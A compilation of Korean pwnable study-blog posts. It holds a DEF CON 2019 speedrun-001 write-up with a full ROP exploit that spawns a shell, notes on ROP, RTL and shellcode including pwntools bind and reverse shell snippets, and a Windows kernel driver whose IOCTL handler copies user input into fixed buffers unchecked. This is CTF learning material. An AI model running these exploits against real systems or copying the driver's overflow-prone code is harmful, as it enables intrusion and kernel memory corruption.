2019년 데프콘 CTF 스피드런 문제를 리뷰 해보도록 하겠습니다. 우선 우리는 문제를 실행시켜 보겠습니다.

이렇게 실행되어지는 문제이고 이것을 분석하기 위하여 IDA를 사용하여 열어보면 굉장히 큰 바이너리로 이루어 진 것을 알 수 있습니다.

하지만 우리는 실행시켰을 때 알아낸 문자열을 통하여 실행 부분을 찾을수 있습니다.

이렇게 찾게되고 그것의 main함수 까지 알아 냅니다.

이때 우리는 buf의 크기보다 더 많은 양을 넣을 수 있는 read 함수를 찾을 수 있습니다. 따라서 우리는 overflow가 된다는 것을 알 수 있습니다. 우선 우리는 보호기법을 체크해줍니다.

그러면 PIE가 걸려있지 않기 때문에 IDA에서 본 주소와 동일하게 사용가능한 것을 알 수 있습니다.

 

그렇기에 우리는 read 양만큼의 A 문자를 넣어보면 무리 없이 들어간 다는 것을 알 수 있습니다. 따라서 우리는 SROP를 통한 익스 플로잇 코드를 작성해야 한다는 것을 알 수 있습니다.

 

그렇기에 우리는 rop 명령어를 통한 가젯들을 수집합니다. (pop rdi, pop rsi, pop rdx, pop rax, syscall) 그리고 우리는 처음 /bin/sh 문자열을 넣을 위치를 정하여야 합니다.

따라서 elfheader 명령어를 통한 bss 영역의 주소를 알아낼 수 있습니다. 그 후 우리는 bss영역에 read함수를 이용하여 /bin/sh 문자열을 대입하고 execve 함수를 통하여 /bin/sh 를 실행하는 코드를 작성합니다.

 

from pwn import *

p = remote("speedrun-001.quals2019.oooverflow.io", 31337)

def dd(payload):
	p.recvuntil('Any last words?')
	p.sendline(payload)

syscall = 0x474e65
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
main_addr = 0x400BC1

bss = 0x006bc000-0x100


payload = 'A'*0x400
payload += p64(bss - 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(8)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)

p.send('/bin/sh\x00')


payload = 'A' * 0x400
payload += p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi)+ p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)
p.recvuntil("A"*0x400)
p.sendline("/bin/sh;")
p.sendline("cat flag")

p.interactive()

 

작성한 코드를 실행시킨다면 우리는 flag를 획득할 수 있습니다.

'CTF > CTF 문제들' 카테고리의 다른 글

Defcon2019 Speedrun-001 write-up  (0) 2019.05.18
코드게이트2018 후기  (0) 2018.04.09
Codegate 2018 Simple_CMS[Web]  (0) 2018.02.06
rop, RTL

ROP(Return Oriented Programming) - x86

ROP는 공격자가 실행 공간 보호(NX bit) 및 코드 서명(Code Signing)과 같은 보안 방어가 있는 상태에서 코드를 실행할 수 있게 해주는 기술입니다.

= RTL + Gadget


이 기법에서는 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, 가젯이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.

ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.


PLT(Procedure Linkage Table) & GOT(Global Offset Table)

PLT에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있습니다.

GOT(전역 오프셋 테이블)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.

=>.got.plt 섹션에 저장


PLT와 GOT를 사용하는 이유

: Dynamic Link 방식으로 컴파일 하면 라이브러리가 프로그램 외부에 있기 때문에 함수의 주소를 알아오는 과정이 필요한 것입니다.


elfsymbol 찾고자하는 function_name => plt와 got 주소


쓸수 있는 공간 찾기 위한 방법

shell objdump -h ~/study/x86_rop/rop




ROP - x64


-------------------------------------------

     Gadget(POP RDI, RET) Addr

-------------------------------------------

          First argument value

-------------------------------------------

 Gadget(POP RSI, POP RDX,ret) Addr

-------------------------------------------

         Second argument value

-------------------------------------------

           Third argument value

-------------------------------------------

       read function address of libc

-------------------------------------------

        Gadget(POP RDI, RET) Addr

-------------------------------------------

            First argument value

-------------------------------------------

      System fucntion address of libc

-------------------------------------------


1. setresuid(0,0,0) => 권한을 root(0)으로 변경

2. system 함수를 이용해 "/bin/sh" 실행

ROPgadget --binary path | grep "string"












'PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10
RTL

RTL(Return to Libc)

return address 영역에 공유 라이브러리 함수의 주소로 변경해 해당함수를 호출


x64 Calling convention

=> RDI, RSI, RDX, RCX, R8, R9 return=EAX


ROP(Return Oriented Programming)

ret2libc 기법을 사용하기 위해서는 

Return Address 영역에 pop rdi, ret 코드가 저장된 주소값을 저장해야 합니다.

Retrun Address 다음영역에 해당 레지스터에 저장 할 인자 값을 저장합니다.

그 다음 영역에 호출 할 함수의 주소를 저장합니다.


Call 함수


push EIP+4

jmp 주소



Frame faking(Fake ebp)

Frame faking이란 가짜 스택 프레임 포인터(Stack Frame Pointer)를 만들어 실행 흐름을 제어하는 것입니다.

Return Address영역 까지만 덮어쓸수 있을 경우 사용 가능합니다.


LEAVE & RET Instruction

Instruction x86 x64


LEAVE mov esp, ebp mov rsp, rbp

pop ebp pop rbp


RET pop eip pop eip

jmp eip jmp rip


pop 명령어는 주소 안에 있는 값을 넣어준다


overflow로 frame pointer영역에 rtl 코드가 저장되어있는 주소 -0x4 주소를 저장

return address 영역에 leave 명령어가 저장되어 있는 주소를 저장




Frame Pointer Overwrite(One byte Overflow) =>FPO
Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것 입니다.
발생할수있는 상황
- RTL 코드가 저장된 영역과 Frame Pointer 뒤에서 3번째 자리수가 다르면 공격에 성공할 수 없다.


'PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10

Return to shellcode

=> Return address 영역에 Shellcode가 저장된 주소로 변경해, shellcode를 호출하는 방식


Call <Operation> ;

PUSH ReturnAddress

JMP <Operation>


RET  ;

POP RIP

JMP RIP


shellcode를 실행하기 위해서는 Shellcode 저장영역에 execute 권한 설정이 필요


DEP 해제 => gcc 옵션으로 -z execstack 을 추가



'PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10

Assembly Code 

section .data(문자열과 개행문자...); 데이터 세그먼트

section .text(ELF 링킹을 위한 초기 엔트리 포인트); 텍스트 세그먼트


assembly 파일 => ELF 바이너리

32bit 기준

nasm -f elf 만든파일.asm

ld -m elf_i386 -o 만들파일명 만든파일.o


64bit 기준

nasm -f elf64 만든파일.asm

ld -o 만들파일 만든파일.o


Shell Code Null Remove

- jmp 명령어를 사용해 helloworld 함수를 지나 last 함수로 이동

(즉 jmp 부분에서 콜하는 부분을 -로 표현하여 null 값을 없애준다)


레지스터 값 초기화

- sub는 OF,SF,ZF,AF,PF,CF flag, xor은 OF,CF가 지워지고 SF,ZF,PF는 설정되기 때문에

flag에 덜 영향을 주는 xor을 사용하여 초기화 하는것이 더 좋다


C언어 Shell 코드 실행 함수

execl, execlp, execle, execv, execvp, execve


uid 와 euid의 차이

uid는 실행하는 유저의 id, euid는 실행 될 때 유저의 id


/bin/sh을 push로 표현

/sh 문자앞에 / 를 추가하여 Null Byte 제거


쉘코드 길이 줄이기

CDQ(Convert Doubleword to Quadword) instruction

EAX에 저장된 부호값에 따라 EDX에 저장( 양수(SF=0)이면 0x00000000, 음수(SF=1)이면 0xFFFFFFFF)

=> 쉘코드 길이 XOR 보다 1바이트 줄인다


PUSH,POP 명령어를 이용

xor eax,eax;   31 C0 =>     push byte+0xb;   6A 0B

mov al,0xb;   B0 0B =>     pop eax;             58

:1byte 줄이기


execve 줄이기

execve의 두번째 인자를 NULL 로 사용가능.


xchg Instruction

해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령

Reverse ShellCode

Bind Shellcode 는 공격대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식

Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신 공격자가 ip,port로 연결합니다


연산 레지스터 : ecx


CMP 명령어 대신 DEC 명령어로 코드길이를 줄인다.


PwnTools 

shellcraft 모듈을 제공

run_assembly()함수로 shellcode 실행

>>> shellcode = shellcraft.i386.linux.sh()

>>> p = run_assembly(shellcode)


bindsh()함수로 bind shellcode 생성

>>> from pwn import *

>>> shellcode = shellcraft.amd64.linux.bindsh(2345, 'ipv4')

>>> p = run_assembly(shellcode,arch='amd64')

>>> p.wait_for_close()


Reverse Shellcode

connect 함수로 네트워크 연결에 필요한 소켓을 생성 및 host에 연결하는 shellcode 생성

findpeersh()함수를 이용해 connect 함수에 의해 생성된 소켓에 표준 스트림을 복제

>>> from pwn import *

>>> assembly  = shellcraft.i386.linux.connect('localhost', 2345, 'ipv4')

>>> assembly += shellcraft.i386.linux.findpeersh(2345)





'PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10

유저  


#include <stdio.h>

#include <Windows.h>

#include <conio.h>


#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN,0x4000,METHOD_NEITHER,FILE_ANY_ACCESS)



int main(void)

{

    HANDLE dHandle;

    WCHAR DeviceLink[] = L"\\\\.\\sanggamja";

    DWORD dwRet;

    char send[] = "10*100";

    char buf[100] = { 0 };


    dHandle = CreateFileW(

        DeviceLink,

        GENERIC_READ | GENERIC_WRITE,

        0,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL,

        NULL

        );


    if (dHandle == INVALID_HANDLE_VALUE)

    {

        printf("Get Device Handle Fail! : 0x%X \n", GetLastError());

        getchar();

        return 1;

    }


    if (!DeviceIoControl(dHandle, IOCTL_TEST, (LPVOID)buf, sizeof(buf), send, sizeof(send), &dwRet, 0))

    {

        printf("DeviceIOControl Fail! \n");

        getchar();

        CloseHandle(dHandle);

        return 1;

    }

    printf("result = %s\n", buf);

    getchar();

    CloseHandle(dHandle);


    return 0;

}



커널  


#define _CRT_SECURE_NO_WARNINGS


#include <ntddk.h>

#include <string.h>

#include <stdio.h>



#define LINK_NAME L"\\DosDevices\\sanggamja"

#define DEVICE_NAME L"\\DEVICE\\test"

#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN,0x4000,METHOD_NEITHER,FILE_ANY_ACCESS)



PDEVICE_OBJECT MyDevice;

UNICODE_STRING DeviceLink;

UNICODE_STRING DeviceName;


NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp)

{

    PIO_STACK_LOCATION pStack;

    NTSTATUS returnStatus = STATUS_SUCCESS;

    ULONG ControlCode;

    PCHAR Output;

    PVOID Input;


    ULONG val1;

    ULONG val2;

    ULONG val3;

    CHAR Ind3 = {1};


    int i;

    int j = 0;

    int num1;

    int num2;

    int op = 0;


    char cal[100] = { 0, };

    char Ind2[100] = { 0, };

    char Ind1[100] = { 0, };

    char plus; 

    char min;

    char mul;

    char divi;

    char vi[] = { 0, };



    pStack = IoGetCurrentIrpStackLocation(irp);

    ControlCode = pStack->Parameters.DeviceIoControl.IoControlCode;


    switch (ControlCode)

    {

    case IOCTL_TEST: 

        Input = irp->UserBuffer;

        Output = pStack->Parameters.DeviceIoControl.Type3InputBuffer;

        RtlCopyMemory(&cal, Input, strlen(irp->UserBuffer));

        for (i = 0; i < strlen(cal)+1; i++)

        {

            memcpy(&plus, "+", 1);

            memcpy(&min, "-", 1);

            memcpy(&mul, "*", 1);

            memcpy(&divi, "/", 1);

            if (!(strncmp(&plus, &cal[i], 1)))

            {

                op = 1;

                memcpy(&Ind1, &cal[0], i);      

                memcpy(&Ind2, &cal[i+1], strlen(cal)-(i+1));

            }

            else if (!(strncmp(&min, &cal[i], 1)))

            {

                op = 2;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

            else if (!(strncmp(&mul, &cal[i], 1)))

            {

                op = 3;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

            else if (!(strncmp(&divi, &cal[i], 1)))

            {

                op = 4;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

        }

        RtlCharToInteger(Ind1, 10, &val1);

        RtlCharToInteger(Ind2, 10, &val2);


        if (op == 1){ val3 = val1 + val2; }

        else if (op == 2){ val3 = val1 - val2; }

        else if (op == 3){ val3 = val1 * val2; }

        else if (op == 4){ val3 = val1 / val2; }


        sprintf(vi, "%lu", val3);


        memcpy(Output, &vi, strlen(vi));

    }

    irp->IoStatus.Status = STATUS_SUCCESS;

    irp->IoStatus.Information = sizeof(Output);

    IoCompleteRequest(irp, IO_NO_INCREMENT);

    return returnStatus;

}


NTSTATUS Create_Handler(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp)

{

    irp->IoStatus.Status = STATUS_SUCCESS;

    IoCompleteRequest(irp, IO_NO_INCREMENT);


    return STATUS_SUCCESS;

}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

    IoDeleteDevice(MyDevice);

    IoDeleteSymbolicLink(&DeviceLink);

    DbgPrint("OnUnload Call! \n");

}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    NTSTATUS returnStatus = STATUS_SUCCESS;


    RtlInitUnicodeString(&DeviceLink, LINK_NAME);

    RtlInitUnicodeString(&DeviceName, DEVICE_NAME);


    returnStatus = IoCreateDevice(

        DriverObject,

        0,

        &DeviceName,

        FILE_DEVICE_UNKNOWN,

        FILE_DEVICE_SECURE_OPEN,

        FALSE,

        &MyDevice

        );


    if (!NT_SUCCESS(returnStatus))

    {

        DbgPrint("IoCreateDevice Fail! \n");

        return returnStatus;

    }

    DbgPrint("Success IoCreateSymbilicLinck \n");


    returnStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);

    if (!NT_SUCCESS(returnStatus))

    {

        return returnStatus;

    }


    DriverObject-> DriverUnload = OnUnload;

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIOControl;

    DriverObject->MajorFunction[IRP_MJ_CREATE] = Create_Handler;


    return returnStatus;

}



귀찮아서 뺄셈과 나눗셈 처리는 제대로 하지 않았지만 그 틀과 함수의 사용법에 유의하면 만들수 있을 것 이다.

'Window_Hacking' 카테고리의 다른 글

Windows device driver 계산기  (0) 2018.09.26
Windbg 명령어  (0) 2018.09.11

q : 종료

.restart : 재시작

g : run

dd 원하는 위치 : 메모리 덤브

r : 레지스터 값 확인

dds : 메모리의 내용과 심벌을 일치시켜 보여준다.

r 원하는레지스터이름 = 값 : 레지스터 값 변경

e[옵션] 주소 : 특정 주소에 원하는 값 삽입

n 진수 : 현재 보여주는 숫자의 진수 바꾸기

dpa 레지스터 :메모리가 참조하고 있는 데이터 보기

a 위치 어셈블 코드 : 특정 주소에 어셈블 코드 삽입

kb : 콜스택 보기

.dump /f 경로~.dmp : 덤프 생성

db : byte형식 + 아스키로 표시

k : 콜스택 보기

bp 주소 : 브레이크 포인트


'Window_Hacking' 카테고리의 다른 글

Windows device driver 계산기  (0) 2018.09.26
Windbg 명령어  (0) 2018.09.11

1. 연결


NC :  p = remote("IP", PORT)

SSH : p = ssh( "id", " pwnable.kr", port= 포트번호",  password = "비밀번호")

Local : p = process(["사용하고자 하는 파일 위치"])



2. 송수신


p.recv() : 데이터를 받는다

p.recv(숫자) : 숫자만큼 데이터를 받는다

p.recvuntil("str") : str , 즉 문자열이 나올때 까지 받는다

p.recvline() :  한줄 받아온다.


p.sendline("str") : 문자열을 보낸다.

p.sendlineafter : 데이터를 받으면서 보낸다


pwnable.kr tiny_easy에서 사용 할 수 있는 process 에서 환경변수 삽입 

argv[0]를 실행시킬떄 원하는 값으로 수정할 수 있는 방법

예시 ) s1 = s.process(['\xb0\xaf\xb5\xff'],executable = '/home/tiny_easy/tiny_easy', env = k)


'Pwnable' 카테고리의 다른 글

Pwntools  (0) 2018.08.28
FMbug  (0) 2018.08.26

+ Recent posts